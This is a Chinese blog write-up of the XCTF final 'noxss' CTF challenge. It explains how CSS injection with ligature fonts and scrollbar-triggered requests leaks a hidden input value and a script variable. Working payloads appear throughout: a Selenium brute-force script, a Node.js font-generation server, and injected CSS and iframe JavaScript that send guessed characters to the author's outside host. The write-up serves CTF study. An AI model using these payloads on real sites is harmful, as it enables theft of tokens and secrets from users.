XCTF final noxss

原创

HyyMbb 于 2019-12-06 23:48:13 发布 230 收藏

分类专栏： ctf

本文链接：https://blog.csdn.net/a3320315/article/details/103431033

0x01 题目描述

这次题目主要是通过css注入提取`script`里一个变量的值，即`flag`

我们举个例子,先贴出代码。

```
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
<?php
$token1 = md5($_SERVER['HTTP_USER_AGENT']);
?>
<input type=hidden value=<?=$token1 ?>>
<script>
var TOKEN = 'xctf{dobra_robota_jestes_mistrzem_CSS}';
</script>

<style>
true<?=preg_replace('#</style#i', '#', $_GET['css']) ?>
</style>
</body>
</html>
```

我们今天分为两个内容

提取input中value

提取script里面的变量TOKEN

0x02 题目分析

提取`input`的`value`其实比较简单，直接贴出`payload`

```
import string
from selenium import webdriver
browser = webdriver.Chrome()
flag = ''
s = string.digits+string.ascii_letters+'{'+'}'+'_'
for i in s:
        flag += i
        url = 'http://127.0.0.1/cssgame/?css=input[value^=%%22%s%%22]%%20{%%20background:url(http://xxx.xxx.xxx
.xxx:8885/%s);}' %(flag, flag)
        flag=flag[:-1]
        browser.get(str(url))
```

通过匹配`css`选择`input`，这里`%%22`代表"，这儿使用两个`%%`，是为了防止被格式化
然后使用`webdriver.Chrome()`，自动渲染`css`，访问自己`vps`

提取`script`里面的值比较困难，我们这儿的思路是，使用连体字。
我们先介绍一下连体字

简而言之，字体中的连字是至少两个具有图形表示形式的字符的序列。最常见的连字可能是”fi”序列。在下面的图片中，我们可以很清晰地看到”f”与”i”；而在第二行中，我们对这两个字母的顺序使用了不同的字体表示-字母”f”的顶部连接到”i”上方的点。这里我们应该将连字与字距区别开来：字距调整仅确定字体中字母之间的距离，而连字是给定字符序列的完全独立的字形（图形符号）

我们可以借助 `fontforge` 来生成我们需要的连字，因为现代浏览器已经不支持 `SVG` 格式的字体了，我们可以利用 `fontforge` 将 SVG 格式转换成 `WOFF` 格式，我们可以准备一个名为 `script.fontforge` 的文件，内容如下：

```
#!/usr/bin/fontforge
Open($1)
Generate($1:r + ".woff")
```

我们可以用`fontforge script.fontforge .svg`这个命令来生成 `woff` 文件，下面这段 `svg` 代码定义了一种名叫 `hack` 的字体，包括 a-z 26 个0宽度的字母，以及 `sekurak` 这个宽度为8000的连字。

```
<svg>
  <defs>
    <font id="hack" horiz-adv-x="0">
      <font-face font-family="hack" units-per-em="1000" />
      <missing-glyph />
      <glyph unicode="a" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="b" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="c" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="d" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="e" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="f" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="g" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="h" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="i" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="j" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="k" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="l" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="m" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="n" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="o" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="p" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="q" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="r" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="s" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="t" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="u" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="v" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="w" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="x" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="y" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="z" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="sekurak" horiz-adv-x="8000" d="M1 0z"/>
    </font>
  </defs>
</svg>
```

这儿`sekurak`就代表一个连体字，虽然有很由很多字母组成，但`html`就认为这是一个字

这儿贴出一个`node.js`代码，主要是作用是一个生成连体字`woff`文件的`api`接口

```
const express = require('express');
const app = express();
// Serwer ExprssJS domyślnie dodaje nagłówek ETag,
// ale nam nie jest to potrzebne, więc wyłączamy.
app.disable('etag');

const PORT = 3001;
const js2xmlparser = require('js2xmlparser');
const fs = require('fs');
const tmp = require('tmp');
const rimraf = require('rimraf');
const child_process = require('child_process');



// Generujemy fonta dla zadanego przedrostka
// i znaków, dla których ma zostać utworzona ligatura.
function createFont(prefix, charsToLigature) {
    let font = {
        "defs": {
            "font": {
```

```
            "@": {
                "id": "hack",
                "horiz-adv-x": "0"
            },
            "font-face": {
                "@": {
                    "font-family": "hack",
                    "units-per-em": "1000"
                }
            },
            "glyph": []
        }
    }
};

// Domyślnie wszystkie możliwe znaki mają zerową szerokość...
let glyphs = font.defs.font.glyph;
for (let c = 0x20; c <= 0x7e; c += 1) {
    const glyph = {
        "@": {
            "unicode": String.fromCharCode(c),
            "horiz-adv-x": "0",
            "d": "M1 0z",
        }
    };
    glyphs.push(glyph);
}

// ... za wyjątkiem ligatur, które są BARDZO szerokie.
charsToLigature.forEach(c => {
    const glyph = {
        "@": {
            "unicode": prefix + c,
            "horiz-adv-x": "10000",
            "d": "M1 0z",
        }
    }
    glyphs.push(glyph);
});

// Konwertujemy JSON-a na SVG.
const xml = js2xmlparser.parse("svg", font);

// A następnie wykorzystujemy fontforge
// do zamiany SVG na WOFF.
const tmpobj = tmp.dirSync();
fs.writeFileSync(`${tmpobj.name}/font.svg`, xml);
child_process.spawnSync("/usr/bin/fontforge", [
    `${__dirname}/script.fontforge`,
    `${tmpobj.name}/font.svg`
]);

const woff = fs.readFileSync(`${tmpobj.name}/font.woff`);

// Usuwamy katalog tymczasowy.
rimraf.sync(tmpobj.name);

// I zwracamy fonta w postaci WOFF.
return woff;
```

```
}

// Endpoint do generowania fontów.
app.get("/font/:prefix/:charsToLigature", (req, res) => {
    const { prefix, charsToLigature } = req.params;

    // Dbamy o to by font znalazł się w cache'u.
    res.set({
        'Cache-Control': 'public, max-age=600',
        'Content-Type': 'application/font-woff',
        'Access-Control-Allow-Origin': '*',
    });

    res.send(createFont(prefix, Array.from(charsToLigature)));

});

// Endpoint do przyjmowania znaków przez połączenie zwrotne
app.get("/reverse/:chars", function(req, res) {
    res.cookie('chars', req.params.chars);
    res.set('Set-Cookie', `chars=${encodeURIComponent(req.params.chars)}; Path=/`);
    res.send();
});

app.get('/cookie.js', (req, res) => {
trueres.sendFile('js.cookie.js', {
truetrueroot: './node_modules/js-cookie/src/'
true});
});

app.get('/index.html', (req, res) => {
trueres.sendFile('index.html', {
truetrueroot: '.'
true});
});

app.listen(PORT, () => {
trueconsole.log(`Listening on ${PORT}...`);
})
```

这个必须在`linux`上运行，好像`fontgorge`的命令模式只有`linux`上有，假如我们在`Linux`上运行，接着我们访问`http://xxx.xxx.xxx.xxx:23460/font/prefix/c`就能够生成一个连体字文件.
假如我们访问`/font/xctf{/abc`就会生成`xctf{a`和`xctf{b`和`xctf{c`的连体字，其余字的宽度都为0。
接着我们就注入`css`

```
<style>
        @font-face {
            font-family: "hack";
            src: url(http://172.16.71.138:3001/font/xctf{/x);    #连体字的生成api
        }
        script {
            display: table;         #使得script标签里面的内容能够显示出来
            font-family: "hack";
            white-space: nowrap;
            background: lightblue;
        }
        body::-webkit-scrollbar {
            background: blue;
        }
        body::-webkit-scrollbar:horizontal {
            display:block;
            background: blue url(http://xxx.xxx.xxx.xxx:9999);       #当出现滚动条时访问vps
        }
    </style>
```

贴出payload

```
<script>
        //const chars = ['t','f']
        const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_'.split('')
        let ff = [],
            data = ''
        let prefix = 'xctf{'
        chars.forEach(c => {
            var css = ''
            css = '=../../../../\fa{}){}'
            css +=
                `body{overflow-y:hidden;overflow-x:auto;white-space:nowrap;display:block}html{display:block}*{di
splay:none}body::-webkit-scrollbar{display:block;background: blue url(http://172.16.71.138:9999/?${encodeURIComp
onent(prefix+c)})}`
            css += `@font-face{font-family:a${c.charCodeAt()};src:url(http://172.16.71.138:23460/font/${prefix}/
${c});}`
            css += `script{font-family:a${c.charCodeAt()};display:block}`
            document.write(
                '<iframe scrolling=yes samesite src="http://127.0.0.1/index.php?css=' +
                encodeURIComponent(css) +
                '" style="width:1000000px" onload="event.target.style.width=\'100px\'"></iframe>')
        })
</script>
```

推荐使用谷歌浏览器，并且关闭同源策略

嗯~~这儿的wp就不写很详细了，仔细看看代码应该可以理解，最近比较忙

这儿再贴出几个参考地址，希望能够好好理解一下

其他writeup

连体字生成的代码参考地址（波兰语）